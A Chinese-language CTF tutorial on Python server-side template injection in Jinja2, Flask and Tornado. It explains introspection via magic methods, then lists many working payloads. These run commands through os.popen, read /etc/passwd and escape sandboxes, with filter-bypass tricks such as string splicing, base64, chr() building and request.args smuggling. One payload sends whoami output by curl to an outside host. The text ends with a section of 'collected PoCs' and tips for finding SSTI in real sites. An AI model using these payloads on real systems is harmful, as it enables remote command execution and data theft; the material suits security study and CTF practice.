0x1 魔术方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

0x2 利用总结

自动化工具

tplmap

查配置文件

​什么是查配置文件?我们都知道一个python框架,比如说flask,在框架中内置了一些全局变量,对象,函数等等。我们可以直接访问或是调用。这里拿两个例题来简单举例:

easy_tornado

这个题目发现模板注入后的一个关键考点在于handler.settings。这个是Tornado框架本身提供给程序员可快速访问的配置文件对象之一。分析官方文档可以发现handler.settings其实指向的是RequestHandler.application.settings,即可以获取当前application.settings,从中获取到敏感信息。

shrine

这个题目直接给出了源码,flag被写入了配置文件中

app.config['FLAG'] = os.environ.pop('FLAG')

同样在此题的Flask框架中,我们可以通过内置的config对象直接访问该应用的配置信息。不过此题设置了WAF,并不能直接访问{{config}}得到配置文件而是需要进行一些绕过。这个题目很有意思,开拓思路。

总结一下这类题目,为了内省框架,我们应该:

查阅相关框架的文档

使用dir内省locals对象来查看所有能够使用的模板上下文

使用dir深入内省所有对象

直接分析框架源码

这里发掘到一个2018TWCTF-Shrine的writeup,内省request对象的例子:传送门

命令执行

​命令执行,其实就是前面我们介绍的沙盒溢出的操作。在python环境下,由于在SSTI发生时,以Jinja2为例,在渲染的时候会把{{}}包裹的内容当做变量解析替换,在{{}}包裹中我们插入''.__class__.__mro__[-1].__subclasses__()[40]类似的payload也能够被先解析而后结果字符串替换成模板中的具体内容。

  • 寻找可以利用的类和子集如:<type 'file'>、<class 'site._Printer'>、<class 'os._wrap_close'> 和 function popen、system等。
  • 使用可以利用的类和子集寻找flag的路径
  • 打印出flag
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("要执行的语句").read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir("./")}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("cat fl4g").read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('filename').read()}}

python环境常用命令执行方式

前面提到了命令执行,那么就有必要了解一下python环境下常用的命令执行方式。

os.system()

用法:os.system(command)

这个调用相当直接,且是同步进行的,程序需要阻塞并等待返回。返回值是依赖于系统的,直接返回系统的调用返回值。

注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)

关于linux下os.system()返回值说明

os.popen()

用法:os.popen(command[,mode[,bufsize]])

说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。

popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。

subprocess

subprocess 模块有比较多的功能,subprocess模块被推荐用来替换一些老的模块和函数,如:os.system、os.spawn、os.popen等

subprocess模块目的是启动一个新的进程并与之通信。这里只讲用来运行shell命令的两个常用方法。

subprocess.call(“command”)
父进程等待子进程完成
返回退出信息(returncode,相当于Linux exit code)

与os.system功能相似,也无执行结果的回显

subprocess.Popen(“command”)

说明:class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)

Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息

0x3 ctf中的一些绕过tips

更多请参考:传送门

p师傅也有总结SSTI Bypass

拼接

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()

编码

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")

等价于

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(可以看出单双引号内的都可以编码)

同理还可以进行rot13、16进制编码等

过滤中括号[]

getitem()

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

pop()

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

字典读取

__builtins__['eval']()
__builtins__.eval()

经过测试这种方法在python解释器里不能执行,但是在测试的题目环境下可以执行

过滤引号

先获取chr函数,赋值给chr,后面拼接字符串

{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}

或者借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参)

{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

PS:将其中的request.args改为request.values则利用post的方式进行传参

执行命令:

{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read()
}}
{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read()
}}&cmd=id

过滤双下划线__

{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤{{

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

reload方法

CTF题中沙盒环境可能会阉割一些模块,其中内建函数中多半会被删除。如果reload还可以用则可以重载

del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
del __builtins__.__dict__['execfile']


reload(__builtins__)

__getattribute__方法

这个方法之前介绍过了,获取属性。

[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]
# 等价于
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]

番外操作

不利用__globals__

[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

platform

import platform
print platform.popen('dir').read()

from_object

限于篇幅在此不多赘述,详细请参考:传送门

收藏的一些poc

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

0x4 漏洞挖掘

对于一些师傅可能更偏向于实战,但是不幸的是实战中几乎不会出现ssti模板注入,或者说很少,大多出现在python 的ctf中。但是我们还是理性分析下。

每一个(重)模板引擎都有着自己的语法(点),Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,不同的引擎不同的解析。所以我们在挖掘之前有必要对网站的web框架进行检查,否则很多时候{{}}并没有用,导致错误判断。

接下来附张图,实战中要测试重点是看一些url的可控,比如url输入什么就输出什么。前期收集好网站的开发语言以及框架,防止错误利用{{}}而导致错误判断。如下图较全的反映了ssti的一些模板渲染引擎及利用。